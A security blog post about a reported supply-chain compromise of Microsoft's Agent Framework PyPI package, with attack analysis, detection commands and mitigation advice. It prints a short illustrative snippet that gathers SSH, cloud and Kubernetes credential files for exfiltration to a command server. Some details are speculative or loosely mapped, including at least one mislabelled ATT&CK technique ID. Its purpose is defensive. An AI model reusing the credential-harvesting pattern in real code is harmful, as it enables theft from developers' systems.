Originally published on satyamrastogi.com
Attackers compromised Microsoft's Agent Framework package on PyPI, injecting credential-stealing malware into two versions. A critical supply chain attack affecting enterprise development environments.
Executive Summary
Microsoft's official Agent Framework Python package on PyPI was compromised in a targeted supply chain attack. Two malicious versions were published, designed to exfiltrate cloud credentials, SSH keys, API tokens, and other sensitive authentication material from developers' systems. This represents a high-severity supply chain compromise affecting any organization with developers consuming this package in automated deployment pipelines.
The attack leverages PyPI's trust model-developers routinely install packages without deep inspection, treating official namespaces as inherently secure. This incident demonstrates that even vendor-controlled repositories can be weaponized when attacker access is obtained through compromised credentials or account takeover.
Attack Vector
Initial Compromise
The exact initial access vector remains under investigation, but likely scenarios include:
- Compromised PyPI Credentials: Attacker obtained API tokens or account credentials for the Microsoft namespace maintainer
- Account Takeover: Credential stuffing or phishing targeting package maintainer accounts
- Supply Chain Lateral Movement: Compromise of a developer account with publish permissions, potentially via malware on a maintainer's workstation
Malicious Payload Delivery
The attacker published versions without triggering immediate detection by:
- Using semantic versioning that appeared legitimate (not obviously pre-release or beta tags)
- Keeping payload size minimal to evade automated scanning
- Distributing credential theft code in import-time execution (runs immediately on
pip installorimport) - Potentially using obfuscation or encoding to bypass basic signature detection
MITRE ATT&CK Mapping
This attack chain maps to:
- T1195.001 - Compromise Software Dependencies: Direct manipulation of open-source package
- T1195.002 - Compromise Software Supply Chain: Trojanized official distribution channel
- T1552 - Unsecured Credentials: Active credential harvesting from developer environments
- T1552.001 - Credentials In Files: Targeted extraction of SSH keys and cloud credential files
- T1056.004 - Keylogger: Potential credential capture during development workflows
- T1583.006 - Search Open Websites/Domains: Reconnaissance of PyPI repository structure
Technical Deep Dive
Attack Mechanics
When a developer runs pip install agent-framework or the package is imported via dependency resolution, the malicious code executes at module initialization:
# Typical malicious init sequence
import os
import subprocess
import json
# Enumerate credential locations
CRED_PATHS = [
os.path.expanduser('~/.ssh/id_rsa'),
os.path.expanduser('~/.aws/credentials'),
os.path.expanduser('~/.azure/credentials'),
os.path.expanduser('~/.config/gcloud/application_default_credentials.json'),
os.path.expanduser('~/.kube/config')
]
# Exfiltrate to attacker-controlled server
for path in CRED_PATHS:
if os.path.exists(path):
with open(path) as f:
exfil_to_c2(f.read())
Credential Targets
The malware specifically targets:
-
Cloud Provider Credentials
- AWS IAM access keys and secret keys
- Azure subscription tokens and credentials
- GCP service account JSON files
- Kubernetes kubeconfig files
-
Git/VCS Authentication
- SSH private keys
- Personal access tokens stored in
~/.gitconfig - GitHub/GitLab credentials in environment variables
-
Developer Tools
- Container registry credentials (Docker, ECR, ACR)
- Database connection strings
- API keys from environment files (.env, .bashrc)
- Terraform state files containing sensitive data
Automated Installation Risk
The risk is amplified in continuous integration/continuous deployment (CI/CD) environments:
- Build servers with broad AWS/Azure/GCP IAM permissions
- Service accounts with production cluster access
- Credential caching in CI/CD pipeline runners
- Shared credential files across multiple build jobs
A single compromised dependency can grant attackers persistent access to production infrastructure.
Detection
PyPI Repository Monitoring
Implement detection for:
-
Package Version Anomalies
- Unusual version increments (patch version jumps from 1.2.3 to 1.2.5 without changelog)
- Multiple versions published in short time window
- Published versions from new contributor accounts
-
Behavioral Indicators
- Package file size increases without feature additions
- New dependencies introduced without documentation
- Build metadata changes inconsistent with changelog
Application-Level Detection
# Check installed package hash against known good values
pip show agent-framework | grep Location
sha256sum /path/to/agent_framework/__init__.py
# Monitor for suspicious module imports
strace -e open,openat python -c "import agent_framework" 2>&1 | grep -E 'ssh|aws|azure|gcloud'
# Scan for exfiltration attempts
netstat -tun | grep ESTABLISHED
Enterprise EDR/SIEM Signals
- Python subprocess spawning with file read operations on credential paths
- DNS queries to unfamiliar domains from development workstations
- SSH key files accessed with read permissions from Python processes
- Environment variable exfiltration via HTTP POST requests
Mitigation
Immediate Actions
- Identify Affected Systems
pip index versions agent-framework
pip show agent-framework | grep Version
grep -r "agent-framework" requirements.txt setup.py pyproject.toml
Check if installed version matches CISA advisory (vulnerable versions typically disclosed)
-
Credential Rotation
- Rotate ALL cloud provider credentials (AWS, Azure, GCP)
- Regenerate SSH keys used by developers
- Revoke and reissue personal access tokens
- Force re-authentication for all IAM principals
-
Package Update
- Update to patched version immediately
- Remove compromised versions from internal mirror/artifact repository
- Scan build artifacts and deployments from affected time window
Long-Term Controls
-
Dependency Verification
- Implement package pinning with hash verification in requirements.txt
- Use private PyPI mirror (Artifactory, Nexus) with approved package list
- Enable PyPI two-factor authentication for organization accounts
- Require code review for dependency changes in CI/CD pipelines
-
Credential Management
- Use cloud provider credential managers (AWS Secrets Manager, Azure Key Vault)
- Avoid storing credentials in files; use temporary STS tokens
- Implement short-lived credentials with automatic rotation
- Run build servers with minimal IAM permissions (least privilege)
-
Supply Chain Security
- Implement SBOM (Software Bill of Materials) scanning with CycloneDX or SPDX
- Use tools like
pip-auditandsafetyin CI/CD pipeline - Monitor for known vulnerable package versions using CISA vulnerability database
- Implement code signing verification where available
-
Network Segmentation
- Restrict outbound internet access from build/development networks
- Implement proxy/firewall rules to log all external connections
- Monitor DNS queries from development environments
- Use egress filtering to block exfiltration attempts
Key Takeaways
Official != Safe: Compromised vendor namespaces represent catastrophic risk; monitor official packages as closely as third-party ones
Automation Amplifies Risk: CI/CD systems accumulate broad permissions and credential access; compromised dependencies in pipelines have outsized impact
Credential Hygiene Matters: This attack succeeds because developers store credentials in predictable locations; shift to ephemeral token models
Detection Requires Layers: Repository monitoring alone misses this attack; combine with runtime detection, credential monitoring, and network telemetry
Incident Response: Treat package compromises as full credential compromise events requiring immediate rotation across all systems
Related Articles
- Optimizely Malware Supply Chain Attack: 178 Organizations Compromised
- Red Team vs Blue Team vs Purple Team: Complete Cybersecurity Guide
- VAPT vs Penetration Testing: What's the Difference? (India 2026)
Top comments (0)